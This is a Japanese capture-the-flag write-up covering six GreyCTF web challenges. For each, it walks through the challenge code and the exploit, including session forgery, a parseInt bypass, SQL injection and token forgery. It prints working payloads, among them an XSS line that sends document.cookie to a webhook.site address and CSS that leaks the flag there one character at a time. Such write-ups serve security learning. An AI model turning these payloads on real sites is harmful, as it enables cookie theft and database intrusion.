4/20 - 4/21という日程で開催された。BunkyoWesternsのぽよ~~~~として参加して3位。プレースホルダのつもりで適当なユーザ名にしたのだけれども、後から変えようとしたら "Name changes are disabled" と怒られて困った。
Webを全完した。Fearless ConcurrencyとNo Sql Injectionが特に面白かった。
リンク:
- [Web 100] Baby Web (183 solves)
- [Web 100] Greyctf Survey (154 solves)
- [Web 100] Markdown Parser (114 solves)
- [Web 100] Beautiful Styles (70 solves)
- [Web 171] Fearless Concurrency (49 solves)
- [Web 995] No Sql Injection (5 solves)
[Web 100] Baby Web (183 solves)
I just learnt how to design my favourite flask webpage using htmx and bootstrap. I hope I don't accidentally expose my super secret flag.
(URL)
Author: Junhua
添付ファイル: dist-baby-web.zip
次のようなソースコードが与えられている。セッションに is_admin
かどうかの情報が保存されていて、もし is_admin
が True
ならばフラグを得られそうだ。ただし、コード中には is_admin
を False
に設定する処理しかない。
Flaskのデフォルト設定ということでクライアントセッションが使われるはずだけれども、その署名に使われる秘密鍵が app.secret_key = "baby-web"
から分かってしまう。これを使ってセッションを偽造しよう。
import os from flask import Flask, render_template, session app = Flask(__name__) app.secret_key = "baby-web" FLAG = os.getenv("FLAG", r"grey{fake_flag}") @app.route("/", methods=["GET"]) def index(): # Set session if not found if "is_admin" not in session: session["is_admin"] = False return render_template("index.html") @app.route("/admin") def admin(): # Check if the user is admin through cookies return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin")) ### Some other hidden code ### if __name__ == "__main__": app.run(debug=True)
次のようなスクリプトを使ってセッションを偽造する。
from flask import Flask, render_template, session app = Flask(__name__) app.secret_key = "baby-web" @app.route("/", methods=["GET"]) def index(): session["is_admin"] = True return 'ok' if __name__ == "__main__": app.run(debug=True)
できあがったセッションをCookieに設定して /admin
にアクセスするとフラグが得られた。
grey{0h_n0_mY_5up3r_53cr3t_4dm1n_fl4g}
[Web 100] Greyctf Survey (154 solves)
Your honest feedback is appreciated :) (but if you give us a good rating we'll give you a flag)
(URL)
Author: jro
添付ファイル: dist-greyctf-survey.zip
次のようなソースコードが与えられている。点数を投票すると元々 -0.42069
という値が入っている score
に加算される。このスコアが 1
を超えるとフラグをくれるけれども、投票できる点数は -1
より大きく、1
より小さくなければならない。どうしろと。
よく見ると、typeof vote != 'number'
と投票した点数が Number
であることをすでに確認しているのに、その後わざわざ parseInt
にかけている。数値を丸めたいのなら Math.floor
なり Math.round
なりを使えばよいのに、なぜわざわざ parseInt
を使うのだろう。
const express = require('express'); const bodyParser = require('body-parser'); const app = express(); const port = 3000 const config = require("./config.json"); app.use(bodyParser.json()) app.use("/", express.static("static")) let score = -0.42069; app.get("/status", async (req, res)=>{ return res.status(200).json({ "error": false, "data": score }); }) app.post('/vote', async (req, res) => { const {vote} = req.body; if(typeof vote != 'number') { return res.status(400).json({ "error": true, "msg":"Vote must be a number" }); } if(vote < 1 && vote > -1) { score += parseInt(vote); if(score > 1) { score = -0.42069; return res.status(200).json({ "error": false, "msg": config.flag, }); } return res.status(200).json({ "error": false, "data": score, "msg": "Vote submitted successfully" }); } else { return res.status(400).json({ "error": true, "msg":"Invalid vote" }); } }) app.listen(port, () => { console.log(`Survey listening on port ${port}`) })
JavaScriptでは 3e-100
のような指数表記も使われる。parseInt
の呼び出し時には、引数がたとえ数値であっても必ず文字列に変換される、つまり parseInt(3e-100)
と parseInt('3e-100')
は等価だけれども、このとき parseInt
は頭の数字の部分だけを使って数値に変換しようとする。つまり、その返り値は 3
となる。parseInt
での数値の丸めは vote < 1 && vote > -1
というチェックの後なので、このチェックは通過しつつ score
には 3
が足されるということになる。
ということで、3e-100
点を投票するとフラグが得られた。
$ curl http://(省略)/vote -H "Content-Type: application/json" -d '{"vote":3e-100}' {"error":false,"msg":"grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}"}
grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}
[Web 100] Markdown Parser (114 solves)
I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting!
(URL)
Author: ocean
添付ファイル: dist-markdown-parser.zip
Markdownが使えるメモ帳だ。作ったメモはadmin botに通報して、Chromiumで巡回させることができる。このとき、admin botはCookieにフラグを携えてやってくる。このCookieは httpOnly
ではないから、XSSに持ち込めれば document.cookie
を抽出して外部に抜き出すことでフラグが得られるはずだ。
Markdownのパースと変換は、次の通りライブラリを使わず自前で実装されている。基本的には escapeHtml
でエスケープされてしまうけれども、コードブロックのときだけは、指定した言語名がエスケープされず class
属性に突っ込まれる。ここでXSSができそうだ。
function parseMarkdown(markdownText) { const lines = markdownText.split('\n'); let htmlOutput = ""; let inCodeBlock = false; lines.forEach(line => { if (inCodeBlock) { if (line.startsWith('```')) { inCodeBlock = false; htmlOutput += '</code></pre>'; } else { htmlOutput += escapeHtml(line) + '\n'; } } else { if (line.startsWith('```')) { language = line.substring(3).trim(); inCodeBlock = true; htmlOutput += '<pre><code class="language-' + language + '">'; } else { line = escapeHtml(line); line = line.replace(/`(.*?)`/g, '<code>$1</code>'); line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>'); line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>'); line = line.replace(/^(####\s)(.*)/, '<h4>$2</h4>'); line = line.replace(/^(###\s)(.*)/, '<h3>$2</h3>'); line = line.replace(/^(##\s)(.*)/, '<h2>$2</h2>'); line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>'); line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>'); line = line.replace(/__(.*?)__/g, '<strong>$1</strong>'); line = line.replace(/\*(.*?)\*/g, '<em>$1</em>'); line = line.replace(/_(.*?)_/g, '<em>$1</em>'); htmlOutput += line; } } }); return htmlOutput; } function escapeHtml(text) { return text .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, '''); } module.exports = { parseMarkdown };
"></pre><script>navigator.sendBeacon('https://webhook.site/…', document.cookie)</script>
というような言語名でコードブロックを作成する。これで出来上がったメモを通報すると、フラグが指定したURLにPOSTされた。
grey{m4rkd0wn_th1s_fl4g}
[Web 100] Beautiful Styles (70 solves)
I opened a contest to see who could create the most beautiful CSS styles. Feel free to submit your CSS styles to me and I will add them to my website to judge them. I'll even give you a sample of my site to get you started. Flag only consists of numbers and uppercase letters and the lowercase character f (the exception is the flag format of grey{.+})
(URL)
Author: Junhua
与えられたURLにアクセスすると、次のようにCSSの入力フォームが表示された。
<details>
で隠されているのは、次のようなHTMLだ。投稿したCSSは /uploads/(ランダムなID).css
に保存される。投稿後は /submission/(ランダムなID)
にリダイレクトされるけれども、その内容は次のテンプレートにそのIDやらフラグやらが展開されたHTMLだ。
また、そのページにはadmin botへの通報フォームがある。通報するとbotがChromiumでアクセスしてくれる。通常展開されているフラグはダミーのものだけれども、botがアクセスする際には本物のフラグが入っているということだろう。なるほど、任意のCSSが設定できるので、これで input
の値を外部に送信せよということらしい。CSS Injectionの要領でできそうだ。
<!DOCTYPE html> <html lang="en"> <head> … <link href="/uploads/{{submit_id}}.css" rel="stylesheet" /> </head> <body> <div class="container"> <h1 id="title">Welcome to my beautiful site</h1> <p id="sub-header"> Here is some content that I want to share with you. An example can be this flag: </p> <input id="flag" value="{{ flag }}" /> </div> … </body> </html>
1文字ずつ抽出して外部に送信してくれるスクリプトを書く。1文字ずつ確定させていく。
import re import string import httpx table = '{}' + string.ascii_uppercase + string.digits + 'f' flag = 'grey{' css = '' for c in table: css += 'input[value^="FLAGCHAR"] { background: url("https://webhook.site/…?FLAGCHAR"); }\n'.replace('FLAG', flag).replace('CHAR', c) print(css) with httpx.Client(base_url='http://(省略)/', timeout=300) as client: r = client.post('/submit', data={ 'css_value': css }) p = re.findall(r'href="(/submission/[^"]+)"', r.text)[0] client.post(p.replace('submission', 'judge'))
これでフラグが分かった。
grey{X5S34RCH1fY0UC4NF1ND1T}
[Web 171] Fearless Concurrency (49 solves)
Rust is the most safest, fastest and bestest language to write web app! The code compiles, therefore it is impossible for bugs! PS: This is my first rust project (real) 🦀🦀🦀🦀🦀
(URL)
Author: jro
添付ファイル: dist-fearless-concurrency.zip
Rustのソースコードが与えられている⚙ flag
で検索してみると、/flag
でいい感じの入力を与えるとフラグをくれることがわかる。ここで必要な入力は user_id
と secret
で、user_id
で指定したユーザに対応する secret
と入力した secret
が一致していればフラグをくれるようだ。
let app = Router::new() .route("/", get(root)) .route("/register", post(register)) .route("/query", post(query)) .route("/flag", post(flag)) .with_state(state); // … #[derive(Deserialize)] struct ClaimFlag { user_id: u64, secret: u32 } async fn flag(State(state): State<AppState>, Json(body): Json<ClaimFlag>) -> axum::response::Result<String> { let users = state.users.read().await; let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?; if user.secret == body.secret { return Ok(String::from("grey{fake_flag_for_testing}")); } Ok(String::from("Wrong!")) }
POST /register
は次の通り。POSTだけれども特にパラメータは受け付けず、ランダムにユーザIDが生成され、それに対応するユーザの登録がなされる。
async fn register(State(state): State<AppState>) -> impl IntoResponse { let uid = rand::random::<u64>(); let mut users = state.users.write().await; let user = User::new(); users.insert(uid, user); uid.to_string() }
なお、User
という構造体の定義は次の通り。secret
はランダムな32ビットの数値らしい。
#[derive(Clone)] struct User { lock: Arc<Mutex<()>>, secret: u32 } impl User { fn new() -> User { User { lock: Arc::new(Mutex::new(())), secret: rand::random::<u32>() } } }
POST /query
は次の通り。長いので整理する。ユーザからは user_id
と query_string
という2つのパラメータを受け付ける。まずMySQLで tbl_(ユーザID)_(ランダムな数値)
というテーブルが作成され、これに指定した user_id
の secret
が挿入される。その後、SELECT * FROM info WHERE body LIKE '(query_stringで指定した文字列)'
というSQLが実行される。そして、最初に作成されたテーブルが削除される。レスポンスに含まれるのは SELECT
で返ってきた情報だ。なお、ユーザ情報は secret
含めRust側ですべて管理されていて、ここではMySQLに secret
の情報がコピーされているに過ぎない。
SELECT
文で明らかにSQLiがある。ただ、' union select secret from (テーブル名);#
のようにSQLiで secret
を抜き出そうにも、ランダムに生成されているためにテーブル名を当てることができない。ならばと information_schema.tables
からテーブル名を抜き出しても、直後にそのテーブルが削除されてしまう。どうしろと。
async fn query(State(state): State<AppState>, Json(body): Json<Query>) -> axum::response::Result<String> { let users = state.users.read().await; let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?; let user = user.clone(); // Prevent registrations from being blocked while query is running // Fearless concurrency :tm: drop(users); // Prevent concurrent access to the database! // Don't even try any race condition thingies // They don't exist in rust! let _lock = user.lock.lock().await; let mut conn = state.pool.get_conn().await.map_err(|_| "Failed to acquire connection")?; // Unguessable table name (requires knowledge of user id and random table id) let table_id = rand::random::<u32>(); let mut hasher = Sha1::new(); hasher.update(b"fearless_concurrency"); hasher.update(body.user_id.to_le_bytes()); let table_name = format!("tbl_{}_{}", hex::encode(hasher.finalize()), table_id); let table_name = dbg!(table_name); let qs = dbg!(body.query_string); // Create temporary, unguessable table to store user secret conn.exec_drop( format!("CREATE TABLE {} (secret int unsigned)", table_name), () ).await.map_err(|_| "Failed to create table")?; conn.exec_drop( format!("INSERT INTO {} values ({})", table_name, user.secret), () ).await.map_err(|_| "Failed to insert secret")?; // Secret can't be leaked here since table name is unguessable! let res = conn.exec_first::<String, _, _>( format!("SELECT * FROM info WHERE body LIKE '{}'", qs), () ).await; // You'll never get the secret! conn.exec_drop( format!("DROP TABLE {}", table_name), () ).await.map_err(|_| "Failed to drop table")?; let res = res.map_err(|_| "Failed to run query")?; // _lock is automatically dropped when function exits, releasing the user lock if let Some(result) = res { return Ok(result); } Ok(String::from("No results!")) }
' union select @x;#
のように変数でテーブル名を指定できないかと試したところ、通常のクエリ失敗時に起こる Failed to run query
は返ってこず、そもそも何もレスポンスが返ってこなかった。ログを見るとパニックが起こったようだ。つまり、以降の DROP TABLE
は実行されず、テーブルはそのまま残っている。これなら、残ったテーブルの名前を取得して、さらにそれを元に secret
を得ることも可能だ。
以下のようにスクリプトを書く。わざわざテーブル名の取得時に order by create_time desc limit 1 offset 1
とテーブルの作成日時でソートしているのは、ほかの参加者が作成して同じ方法で残したテーブルが大量にあるためだ。最近作成した順にソートすることで、自分の作成したテーブルが前に来る。
import time import httpx with httpx.Client(base_url='http://(省略)') as client: r = client.post('/register') uid = int(r.text) try: client.post('/query', json={ 'user_id': uid, 'query_string': "' union select @x;#" }) except: pass time.sleep(1) r = client.post('/query', json={ 'user_id': uid, 'query_string': "' union select * from (select table_name from information_schema.tables where table_schema = database() order by create_time desc limit 1 offset 1)x;#" }) table = r.text r = client.post('/query', json={ 'user_id': uid, 'query_string': f"' union select * from {table};#" }) secret = int(r.text) r = client.post('/flag', json={ 'user_id': uid, 'secret': secret }) print(r.text)
実行すると、フラグが得られた。
$ python3 s.py grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}
grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}
[Web 995] No Sql Injection (5 solves)
I asked My friend Jason to build me a new e-commerce website. We just finished the login system and there's already bugs 🤦
(URL)
Author: jro
添付ファイル: dist-no-sql-injection.zip
ソースコードを見ていく。MySQLには次のような2つのテーブルが存在している。
create table tokens(token varchar(255)); create table users( id INT AUTO_INCREMENT PRIMARY KEY, name varchar(255), password varchar(255), admin bool );
このWebサーバには主に次の3つのエンドポイントが存在している。
POST /api/login
POST /api/register/1
POST /api/register/2
それぞれ対応するコードを見ていこう。まずは /api/login
だけれども、その名の通りユーザ名とパスワードを受け取って、users
テーブルに対応するユーザが存在するか確認してくれるAPIだ。このとき、もし admin
が true
であればフラグを返してくれるらしい。なるほど、admin
が true
であるユーザを作成するのがゴールらしい。
const decode = s => atob(s?.toString() ?? 'Z3JleWhhdHMh'); app.post('/api/login', async (req, res) => { try { let { password, username } = req.body; password = decode(password); username = decode(username); const result = await query("select admin from users where name = ? and password = ?", [username, password]); if (result.length != 1) { return res.json({ err: "Username or password did not match" }); } if(result[0].admin) { res.json({ "err": false, "msg": config.flag}); } else { res.json({ "err": false, "msg": "You've logged in successfully, but there's no flag here!"}); } // Prevent too many records from filling up the database await query("delete from users where name = ? and password = ?", [username, password]); } catch (err) { console.log(err); res.json({ "err": true }); } })
/api/register/1
は次の通り。受け取ったユーザ名に対応するトークンを tokens
テーブルに挿入している。このトークンはJSONをBase64エンコードしたものだけれども、ここで name
というプロパティには指定したユーザ名が、admin
には false
が設定されている。
app.post('/api/register/1', async (req, res) => { try { let { username } = req.body; username = decode(username); const token = btoa(JSON.stringify({ name: username, admin: false })); await query("insert into tokens values (?)", [token]); res.json({ "err": false, "token": token }); } catch (err) { console.log(err); res.json({ "err": true }); } })
最後に /api/register/2
を見ていく。今度はリクエストボディからパスワードとトークンを受け取っている。まず、tokens
にそのトークンが存在しているか(つまり、/api/register/1
によって発行されたトークンであるか)をチェックしている。もしあれば、tokens
からこのトークンを削除したうえで、トークンをJSONとしてパースした結果から name
と admin
の2つのプロパティを、リクエストボディからはパスワードを持ってきて、users
テーブルにこのユーザを登録する。
/api/register/1
では admin
には false
しか設定されないし、SQLiをしようにもちゃんとプレースホルダが使われていて、そのような隙はないように見える。どうすればよいだろうか。
app.post('/api/register/2', async (req, res) => { try { let { password, token } = req.body; password = decode(password); token = decode(token); const result = await query("select 1 from tokens where token = ?", [token]); if (result.length != 1) { return res.json({ err: "Token not found!" }); } await query("delete from tokens where token = ?", [token]); const { name, admin } = JSON.parse(atob(token)); await query("insert into users (name, password, admin) values (?, ?, ?)", [name.toString(), password, admin === true]); res.json({ "err": false }); } catch (err) { console.log(err); res.json({ "err": true }); } })
ふと、MySQLのデフォルトの設定では文字列比較がcase-insensitiveに行われることを思い出した。これを利用すれば、たとえば /api/register/1
で発行されたトークンが eyJuYW1lIjoibmVrbyIsImFkbWluIjpmYWxzZX0=
であったときに、28文字目の u
を大文字の U
に変換した eyJuYW1lIjoibmVrbyIsImFkbWlUIjpmYWxzZX0=
も /api/register/2
でトークンとして利用できてしまう。
これをBase64デコードすると {"name":"neko","admiT":false}
であり、admin
プロパティが admiT
プロパティに変わってしまっている。/api/register/2
では、users
に挿入されるユーザの情報はトークンに含まれているものが参照されているけれども、ここで参照するトークンは tokens
テーブルに含まれているマスターデータではなく、このときリクエストボディから投げられた方のトークンだ。
この性質を利用して、いい感じに admin
プロパティが true
となっているJSONを作成したい。
次のような構造のJSONを考える。/api/register/1
において poyopoyopoyoXXX , XXXadminXXX :true, XXXhogXXX: XXX
というようなユーザ名で登録するとこのようなJSONが作成され、それをBase64エンコードしたものがトークンとして発行されるはずだ。発行されたトークンについて、特定の文字の大文字小文字を変換することで、XXX
がそれぞれいい感じに、正規表現でいう \s*"\s*
へ化けるような文字はないだろうか。
そのような文字があれば、まずそれを使ったユーザ名で正規のトークンを発行し、特定の文字の大文字小文字を変換することで {"name":"poyopoyopoyo","admin":true,"hog":"","admin":false}
に相当するJSONがBase64エンコードされたトークンが作れるはずだ。
{"name":"poyopoyopoyoXXX , XXXadminXXX :true, XXXhogXXX: XXX","admin":false}
ちゃんと考えて作ればよいのだけれども、面倒になってしまった。次のようにしてブルートフォースで探す。
let s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function *f(s) { for (const a of s) { for (const b of s) { for (const c of s) { for (const d of s) { yield a + b + c + d; } } } } } function *g(s) { for (const a of [s[0].toLowerCase(), s[0].toUpperCase()]) { for (const b of [s[1].toLowerCase(), s[1].toUpperCase()]) { for (const c of [s[2].toLowerCase(), s[2].toUpperCase()]) { for (const d of [s[3].toLowerCase(), s[3].toUpperCase()]) { const t = a + b + c + d; if (s !== t) { yield a + b + c + d; } } } } } } for (const a of f(s)) { let s1, s2, o1, o2; //s1 = `eyJuYW1lIjoicG95b3BveW9wb3lv${a}ICwg${a}YWRtaW4iOjEyM30=`; s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvIiAg${a}ImFkbWluIjoxMjN9`; try { o1 = JSON.parse(atob(s1)); } catch { continue; } for (const b of g(a)) { //s2 = `eyJuYW1lIjoicG95b3BveW9wb3lv${b}ICwg${b}IiwgImFkbWluIjoxMjN9`; s2 = `eyJuYW1lIjoi${b}b3BveW9wb3lvIiAgImFkbWluIjoxMjN9`; try { o2 = JSON.parse(atob(s2)); console.log('[*]', a, b); break; } catch { continue; } } if (o2 == undefined) { continue; } console.log(s1, o1); console.log(s2, o2); }
Base64では1文字あたり6ビットの情報を持つ。つまり4文字が元データの3バイトに対応するわけだけれども、それによって発生するズレも考える必要がある。次のように、どうしても微妙な位置に先ほどの例で言う XXX
に対応する文字が入ってしまう場合も考慮しつつ、適切な文字を探していく。
// … for (const a of f(s)) { let s1, s2, o1, o2, b; // swapcase後のものを導き出す = JSONの構造を破壊するものを探す s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${a}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'ICAi').replaceAll('BCQk', 'AJCS'); try { o1 = JSON.parse(atob(s1)); } catch { continue; } // swapcase前のものを導き出す for (b of g(a)) { s2 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${b}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'icai').replaceAll('BCQk', 'ajcs'); try { o2 = JSON.parse(atob(s2)); break; } catch { continue; } } if (o2 == undefined || Object.keys(o1).length === 4) { continue; } console.log('[*]', a, b); console.log(s1, o1); console.log(s2, o2); }
最終的に、次の組み合わせができた。前者のユーザ名をまず /api/register/1
に投げて、トークンをデータベースに登録させる。生成されたトークンの一部の文字について、大文字と小文字を変換すると後者の偽トークンができあがる。これを /api/register/2
に投げると、ユーザ名は poyopoyopoyo
、パスワードはリクエストボディから指定したもの、admin
は true
であるユーザが作れるはずだ。
eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ== → {"name":"poyopoyopoyo\x89Æ¢ , &£rÂadmin(£rÀ:true, \x89Æ¢hog\x89Æ¢: \x89Æ¢","admin":false} eyJuYW1lIjoicG95b3BveW9wb3lvICAiICwgICAJCSJhZG1pbiIJCSA6dHJ1ZSwgICAiaG9nICAiOiAgICAiIiwiYWRTaW4iOmZhbHNlfQ== → {"name":"poyopoyopoyo " , \t\t"admin"\t\t :true, "hog ": "","adSin":false}
できた。
$ curl http://(省略)/api/register/1 -d 'username=cG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicai' {"err":false,"token":"eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ=="} $ curl http://(省略)/api/register/2 -d 'password=cG95b3BveW9wb3lv&token=ZXlKdVlXMWxJam9pY0c5NWIzQnZlVzl3YjNsdklDQWlJQ3dnSUNBSkNTSmhaRzFwYmlJSkNTQTZkSEoxWlN3Z0lDQWlhRzluSUNBaU9pQWdJQ0FpSWl3aVlXUlRhVzRpT21aaGJITmxmUT09' {"err":false} $ curl http://(省略)/api/login -d 'password=cG95b3BveW9wb3lv&username=cG95b3BveW9wb3lvICA=' {"err":false,"msg":"grey{fr13nd5h1p_3nd3d_w17h_my5ql}"}
grey{fr13nd5h1p_3nd3d_w17h_my5ql}